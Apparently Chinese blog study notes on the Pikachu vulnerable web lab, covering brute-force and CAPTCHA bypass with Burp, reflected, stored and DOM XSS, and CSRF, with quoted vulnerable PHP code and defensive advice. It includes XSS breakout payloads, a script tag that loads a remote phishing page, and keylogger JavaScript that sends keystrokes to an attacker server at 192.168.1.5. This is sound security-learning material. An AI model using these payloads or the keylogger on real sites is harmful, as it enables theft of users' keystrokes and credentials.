pikachu靶场学习1
pikachu靶场学习1
前提:靶场环境部署完成(GitHub:https://github.com/zhuifengshaonianhanlu/pikachu 下载源码,进入inc文件夹找到config.inc.php文件修改相关数据即可,若mysql端口冲突最好不要修改其默认的3306端口,将与之冲突的端口关闭即可)
文章目录
- pikachu靶场学习1
- 暴力破解漏洞
- 关于bp
- XSS漏洞(跨站脚本攻击漏洞)
- 关于POST和GET请求:
- csrf(跨站请求伪造)
暴力破解漏洞
理解: 暴力破解=连续性的尝试+字典+自动化(好的字典很重要)
测试:
1.确认登录接口脆弱性:尝试登陆,,有无验证手段,抓包分析;
2.优化字典,提高爆破效率;
3.配置自动化工具(比如线程、超时时间、重试次数等)
//典型的问题,没有验证码,没有其他控制措施,可以暴力破解
if(isset($_POST['submit']) && $_POST['username'] && $_POST['password']){$username = $_POST['username'];$password = $_POST['password'];$sql = "select * from users where username=? and password=md5(?)";$line_pre = $link->prepare($sql);
Burp suite-intruder中的Pasitions选项卡可指定需要暴力破解的参数并设置成变量,同时选择攻击模式:
Sniper狙击手:先将第一个动态变量使用字典测试,然后再测试第二个字典;
Battering ram冲撞车:所有变量一起用字典内容替换然后一起尝试;
Ptichfork草叉型:分别使用对应的字典对变量进行同时替换;
Cluster bomb集束炸弹:分别使用字典内容组合对变量进行替换。
可能遇到Problems:
- Runtime file的payload type下报错:
payload set1:Specified runtime file does not exist
路径错了,或者不能识别中文路径。 - 如图:
可能遇到bp的http响应报文中的中文信息乱码的情况,在User Options – Display 中修改,修改字体为楷体,修改字符集UTF-8。
验证码绕过:CAPTCHA—“Completely Automated Public Turing test to tell Computers and Humans Apart” :全自动区分计算机和人类的图灵测试。
验证码认证流程:
- 客户端request登录页面,后台生成验证码:
- 后台使用算法生成图片,并将图片response给客户端;
- 同时将算法生成的值全局赋值存到SESSION中
(Session:在网络应用中称为“会话控制”。Session对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的Web页之间跳转时,存储在Session对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web页时,如果该用户还没有会话,则Web服务器将自动创建一个 Session对象。当会话过期或被放弃后,服务器将终止该会话。 简单来说,session是服务器里面的一块可以存放东西的内存。);
关于session和cookie
- 校验验证码:
- 客户端将认证信息和验证码一起提交;
- 后台对提交的验证码与SESSION里面的进行比较(验证码但凡被验证过都会被即刻销毁,若前端只是请求了验证码没有发送验证,后台一般也会对验证码设置一个超时时间);
- 客户端重新刷新页面,再次生成新的验证码:
验证码算法中一般包含随机函数。
不安全的验证码(on client):
5. 未设置超时时间,验证码框通过前端JS实现,后台并未对其认证;
6. 后端以字符串形式响应到前端页面或前端cookie里面去(应用图片),都是可以在验证码被验证前在前端被程序获取。
<input type="text" onclick="createCode()" readonly="readonly" id="checkCode" class="unchanged" style="width: 100px" /></label>//仅在前端随机生成验证码,后端也不认证
不安全的验证码(on server):
7. 验证码在后台不过期;
8. 验证码逻辑校验不严;
9. 验证码设计的太过简单或有规律(因此需要追求安全而又不影响用户体验的验证方式)。
if (empty($_POST['vcode'])) {$html .= "<p class='notice'>验证码不能为空哦!</p>";} else {
// 验证验证码是否正确if (strtolower($_POST['vcode']) != strtolower($_SESSION['vcode'])) {$html .= "<p class='notice'>验证码输入错误哦!</p>";//应该在验证完成后,销毁该$_SESSION['vcode']}else{$username = $_POST['username'];$password = $_POST['password'];$vcode = $_POST['vcode'];$sql = "select * from users where username=? and password=md5(?)";$line_pre = $link->prepare($sql);$line_pre->bind_param('ss',$username,$password);if($line_pre->execute()){$line_pre->store_result();//虽然前面做了为空判断,但最后,却没有验证验证码!!!if($line_pre->num_rows()==1){$html.='<p> login success</p>';}else{$html.= '<p> username or password is not exists~</p>';
token 防爆破?
打开页面时,后端会在收到请求时生成一个token,然后把token放在它的session里面,同时把token输出到前端的表单里面来,目的是当点击账号密码登录时后台会对账号密码加token进行验证。但是由于token值已以字符串明文的方式输出到了HTML的表单里面,所以并不能起到防暴力破解的作用。
<form>
<input type="hidden" name="token" value="<?php echo $_SESSION['token'];?>" />
</form>
关于bp
使用bp抓包的时候有时会抓到很多url为
http://detectportal.firefox.com/success.txt
的无用数据包:
从域名中可以看出是火狐浏览器的问题,查到是由于火狐浏览器默认开启Captive portal技术用于检测当前网络环境,搜索 about:config 关闭 network.captive-portal-service.en选项即可。bp抓不到浏览器的包,注意可能是ip设错,默认127.0.0.1的连接是不经过代理的,换为本机ip访问靶场即可。
XSS漏洞(跨站脚本攻击漏洞)
XSS(窃取cookie)攻击流程
XSS漏洞的形成: 脚本输入后,在输到前端时被浏览器当作有效代码解析执行。
if(isset($_GET['submit'])){if(empty($_GET['message'])){$html.="<p class='notice'>输入'kobe'试试-_-</p>";}else{if($_GET['message']=='kobe'){$html.="<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";}else{$html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";}//$_GET['message']无任何过滤措施
测试方法: (从输入输出角度确认是否存在该漏洞)
1.在输入点输入一组”特殊字符+唯一识别字符”, 提交后查看返回的源码,是否有做对应如过滤、转义处理;
2.通过搜索定位到唯一字符,结合唯一字符前后源码语法确认是否可以构造执行js的闭合条件;
3.输入payload测试(通过变化不同的script ,尝试绕过后台过滤机制),若构造的脚本代码可以成功执行,则说明存在XSS漏洞(浏览器的不同也可能会限制执行)。
不小心构造了存储型xss
- 法一:火狐搜 :about:config,再查找javascript.enabled选项禁掉,就可以进入留言板界面删除留言(其他浏览器也是一样思路)。
- 法二:去数据库把那段数据删了。
if(array_key_exists("message",$_POST) && $_POST['message']!=null){$message=escape($link, $_POST['message']);//插数据库时做了防SQL注入的转义$query="insert into message(content,time) values('$message',now())";$result=execute($link, $query);//message存入表中存在了后台if(mysqli_affected_rows($link)!=1){$html.="<p>数据库出现异常,提交失败!</p>";}
}
<p class="line">留言列表:</p><?php echo $html;$query="select * from message";$result=execute($link, $query);while($data=mysqli_fetch_assoc($result)){echo "<p class='con'>{$data['content']}</p><a href='xss_stored.php?id={$data['id']}'>删除</a>";}//但content字段输出时未转义echo $html;?>
关于复现钓鱼(get型)
采用Basic认证来制作鱼饵,fish.php会用弹窗获取用户账号密码信息,并重定向到pkxss后台,钓鱼后台接口即为xfish.php文件(后端代码),通过get方式获取账号密码然后存到mysql里面。所以留言板页面上,我们可以用src去调用远端php文件获得弹窗。
Pikachu靶场系列之XSS钓鱼攻击与PHP中的HTTP认证
发现!phpstudy的php版本有问题,会导致钓鱼认证框数据无法传输到后台,用mamp搭建的靶场就没事,或者改用
<script src="http://IP/pikachu/pkxss/xfish/xfish.php?username=admin&password=123456"></script>
这样不用认证框钓鱼也可以获得cookie。
具体可见:
pikachu中无法复现钓鱼攻击的解决办法
XSS类型,防御及常见payload构造总结
关于POST和GET请求:
http请求方式有get,post,put,delete等,最常用的是get和post。他们本质上都是TCP链接,但是由于HTTP的规定和浏览器/服务器的限制,导致他们在响应时会体现出一些不同。 最直观的区别就是GET把参数包含在URL中,POST通过request body传递参数。
概念性理解:
get方法的含义更倾向于“检索”和“获取”;
post方法的含义更倾向于“创建/更新”。
例如,在靶场尝试登录等发送提交表单请求时,burpsuite就会抓到POST的数据包,POST请求是可以建立新的资源或修改已有资源的;而刷新页面、点击菜单等操作则是在请求指定页面信息,因此bp会抓到GET请求。
DOM型XSS:
HTML DOM(文档对象模型)
DOM可以理解为一个访问HTML的标准编程接口,在DOM里面会将HTML分为一个DOM树,首先我们知道HTML是由多个标签组成的充当结构作用的,
详细可见:w3school JavaScript HTML DOM
<script>function domxss(){var str = document.getElementById("text").value;document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";}//通过innerHTML将获取到的id="text"写到了div里面//试试:'><img src="#" οnmοuseοver="alert('xss')">//试试:' οnclick="alert('xss')">,闭合掉就行</script><!--<a href="" onclick=('xss')>--><input id="text" name="text" type="text" value="" /><input id="button" type="button" value="click me!" onclick="domxss()" /><div id="dom"></div>//这里输出,整个过程可以看到没有转义操作
DOM型XSS-X
<script>function domxss(){var str = window.location.search;//获取url传参的参数内容(漏洞点在url参数里)var txss = decodeURIComponent(str.split("text=")[1]);//url解码,用正则表达式将字符串分割到数组中var xss = txss.replace(/\+/g,' ');//将获取的输入内容赋值给xss
// alert(xss);document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";//将xss写入a标签}//试试:'><img src="#" οnmοuseοver="alert('xss')">//试试:' οnclick="alert('xss')">,闭合掉就行</script><!--<a href="" onclick=('xss')>--><form method="get"><input id="text" name="text" type="text" value="" /><input id="submit" type="submit" value="请说出你的伤心往事"/></form><div id="dom"></div></div><a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>//执行function,它会把a标签内容写入div
管理员通过配置header( “Access -Control Allow- Origin:x.com” )可指定跨域操作。
也有些标签跨域加载资源(资源类型是有限制的)是不受同源策略限制的:
<script src="…">//js,加载到本地执行
<img src="…">//图片
<link href="…">//css
<iframe src="…">//任意资源
xss获取键盘记录步骤
function onkeypress() {var realkey = String.fromCharCode(event.keyCode);//eventkeyCode是JS里面用来获取键盘输入值的方法,把键盘输入值对应的Unicode获取到,然后fromCharCode转化为字符串,赋值给x1xl+=realkey;show();//再去调用show这个函数
}
document.onkeypress = onkeypress;function show() { //把获取到的内容通过ajax异步请求发送到后台ajax = createAjax();ajax.onreadystatechange = function () {if (ajax.readyState == 4) {if (ajax.status == 200) {var data = ajax.responseText;} else {alert("页面请求失败");}}}var postdate = xl;ajax.open("POST", "http://192.168.1.5/pikachu/pkxss/rkeypress/rkserver.php",true);//通过ajax的一个Post请求发送数据到另一个后台(这里进行了跨域操作)ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");ajax.setRequestHeader("Content-length", postdate.length);ajax.setRequestHeader("Connection", "close");ajax.send(postdate);
}
1.配置rkserver.php文件header(“Access-Control-Allow-Origin:*”);,其中传过来的post数据都会由rkserver.php中的一个参数data会由$query传到pkxss_keypress_result.php中存在mysql中,rk.js文件对用户的键盘输入进行获取,赋值给realkey,然后发送到攻击者后台(192.168.1.5的xss后台键盘记录中)
2.其中F12可以看见键盘输入的时候是有post请求的,去bp上同样可以看见,键盘按下的时候是发送了post请求(可以改为get)。
- 看到说在 Firefox 中, keyCode 属性在 onkeypress 事件中是无效的 (返回 0)???火狐版本不同不尽然吧。
由于 '
单引号不是HTML前端实体编码里面规范的一个编码,所以若没有给htmlspecialchars()指定类型,就是默认类型,不会对单引号进行处理,即使ENT_QUOTES处理了,若输出点特殊时仍会产生XSS漏洞。
if($_GET['message'] == 'www.baidu.com'){$html.="<p class='notice'>我靠,我真想不到你是这样的一个人</p>";}else {//输出在a标签的href属性里面,可以使用javascript协议来执行js//防御:只允许http,https,其次在进行htmlspecialchars处理$message=htmlspecialchars($_GET['message'],ENT_QUOTES);$html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>";}
虽然htmlspecialchars可以转义,但输出在a标签的herf属性里面的话,仍可以使用JavaScript协议(任何使用 URL 的地方都可以使用该协议—JS通信协议)来执行js;
这个防范 :因为 < herf > 里面一般是用来写超链接的,所以只允许http;https开头的协议从这里输出,否则不允许输入,其次进行htmlspecialchars处理。
注意输出的点是在javascript里面,通过用户输入动态生成了js代码,形成了xss。Javascript里面是不会对tag和实体字符进行解释的,所以如果想用htmlspecialchars对输入做实体编码处理的话,那输入变成实体编码之后在js里面不会解释回去,这样虽然解决了xss问题,输出不会构成合法JS,但是前端的功能逻辑是说,要完整的获取它的输入,但是输入又被html实体编码, 那它的输出在js里面实际上是没有用的,这样会导致前端的功能无法使用。所以在js里面的输出应该用\对特殊字符进行转义,也就是js转义。
由此看来,输出点不同防范措施也应不同。
csrf(跨站请求伪造)
Cross-site request forgery漏洞,也称"one click"攻击。
if($_GET['sex']!=null && $_GET['phonenum']!=null && $_GET['add']!=null && $_GET['email']!=null && $_GET['token']==$_SESSION['token'])
//验证若是前端传过来的token与后端不等不会执行下一步操作
<form method="get"><input type="hidden" name="token" value="{$_SESSION['token']}" />//把session里面的token直接echo到value里面去,这样就实现后端生成token显示到前端,前端每次提交后端进行验证的逻辑//由于token和session绑定,随机生成且长,攻击者难以伪造所以起到防范作用</form>
攻击条件:
1.网站对关键信息的操作请求容易被伪造(无token);
2.攻击者借助目标用户的权限完成攻击(在用户登录态发送请求)。
- GET型:直接修改url传参即可实现简单攻击;
- POST型:因为是以表单的方式在请求体里提交,因此无法直接利用url方式攻击。和xss-post类似我们需要布一个站点,做一个表单,让目标用户点我们恶意站点表单的url,向页面提交post请求。
更多参考:
pikachu靶场全关卡讲解(含代码审计)
pikachu靶场通关
pikachu靶场学习1相关推荐
- 网络安全初学者工具安装:Kali,Windows xp虚拟机,pikachu靶场,burpsuite安装配置,phpstudy安装(学习笔记)
摘要 在互联网发展的时代背景下,网络安全成为了越来越不可忽视的重要领域,为此,各国都采取了维护网络安全的举措,对于网络安全人才的需求不断增大,我国作为世界上最多使用计算机人口的国家, ...
- XSS学习-pikachu靶场之xss
XSS漏洞介绍 跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击 ...
- 结合pikachu和DVWA靶场学习文件包含漏洞
结合pikachu和DVWA靶场学习文件包含漏洞 基本概念 包含的定义 文件包含的定义 相关函数 条件 分类 本地文件包含(Local File Inclusion,简称LFI) 定义 前提: 示例: ...
- [NOTE] Pikachu靶场练习笔记
[NOTE] Pikachu靶场练习笔记 文章目录 [NOTE] Pikachu靶场练习笔记 前言 暴力破解 基于表单的暴力破解 验证码绕过(on server) 验证码绕过(on client) t ...
- Pikachu靶场全关详细教学(一)
一.Pikachu靶场介绍 Pikachu靶场下载地址:https://github.com/zhuifengshaonianhanlu/pikachu Pikachu是一个带有漏洞的Web应用系 ...
- Pikachu靶场之文件包含漏洞详解
Pikachu靶场之文件包含漏洞详解 前言 文件包含漏洞简述 1.漏洞描述 2.漏洞原因 3.漏洞危害 4.如何防御 第一关 File Inclusion(local) 1.尝试读取"隐藏& ...
- Pikachu靶场之越权漏洞详解
Pikachu靶场之越权漏洞详解 前言 逻辑越权漏洞简述 漏洞描述 漏洞原因 漏洞分类 水平越权 垂直越权 权限框架缺陷 如何防御 第一关 水平越权 问题分析 尝试防御 第二关 垂直越权 问题分析 尝 ...
- Pikachu靶场练习
Pikachu靶场练习 自己学习用的,写不不好不准说我. 简介 Pikachu是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞. 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶 ...
- 攻防系列——pikachu靶场通关练习
目录 一.暴力破解 Burte Force(暴力破解)概述 (一)基于表单的暴力破解 (二)验证码绕过(on server) (三)验证码绕过(on client) (四)token 防爆破 二.Cr ...
- Pikachu靶场全级别通关教程详解
pikach通关 暴力破解 Cross-Site Scripting XSS(跨站脚本)概述 跨站脚本漏洞类型及测试流程 跨站脚本漏洞常见类型 XSS漏洞形成的原因: 跨站脚本漏洞测试流程 tips ...
最新文章
- Session 详解
- 看看那些来自电路造型挑战赛中的作品
- NameNode任务线程之FSNamesystem$ReplicationMonitor
- 通过修改EIP寄存器实现强行跳转并且注入DLL到目标进程里
- 字节跳动如何做教育? | 详解
- java程序一写文件就崩溃_为什么直接修改java的.class文件会导致程序崩溃
- 维多利亚的秘密 2005-2018年视频合集
- 快速配置 Samba 将 Linux 目录映射为 Windows 驱动器
- 【动态规划】线性dp P1043 数字游戏
- 38.线程交换与线程移动
- 大学学生信息管理系统
- 2018湘潭大学程序设计竞赛【E】
- win10下pyt3.7安装scrapy后cmd运行相关命令SyntaxError: invalid syntax 解决办法
- 快速学习Grasshopper的方法
- C语言解题——从今天开始入坑C语言
- 为什么L0正则化是一个NP难解问题?
- openpyxl 单元格合并
- missing ios distribution signing identity xxx, xcode can request one for you
- 用Python绘制一朵玫瑰花,送给特别的她
- 文字转语音 相关软件
热门文章
- jq html怎么优化seo,长沙网站seo:浅谈SEO优化技巧之HTML结构调整!
- python提取图片中的文字并生成word文档
- 『论文笔记』Visually Grounded Reasoning across Languages and Cultures
- Win7文件夹怎么加密
- 服务器上的文件夹丢失怎么办,快速找回丢失文件夹选项的简单办法
- java 水晶按钮图片_JAVA GUI 开发---水晶图片按钮
- 程序人生 - 参与杭州车牌摇号人数已破百万!附杭州车牌摇号及竞价操作指南!
- 初中英语语法(017)-关系代词
- 动态隐藏和显示导航栏 (MTK)
- Linux系统通过console口连接交换机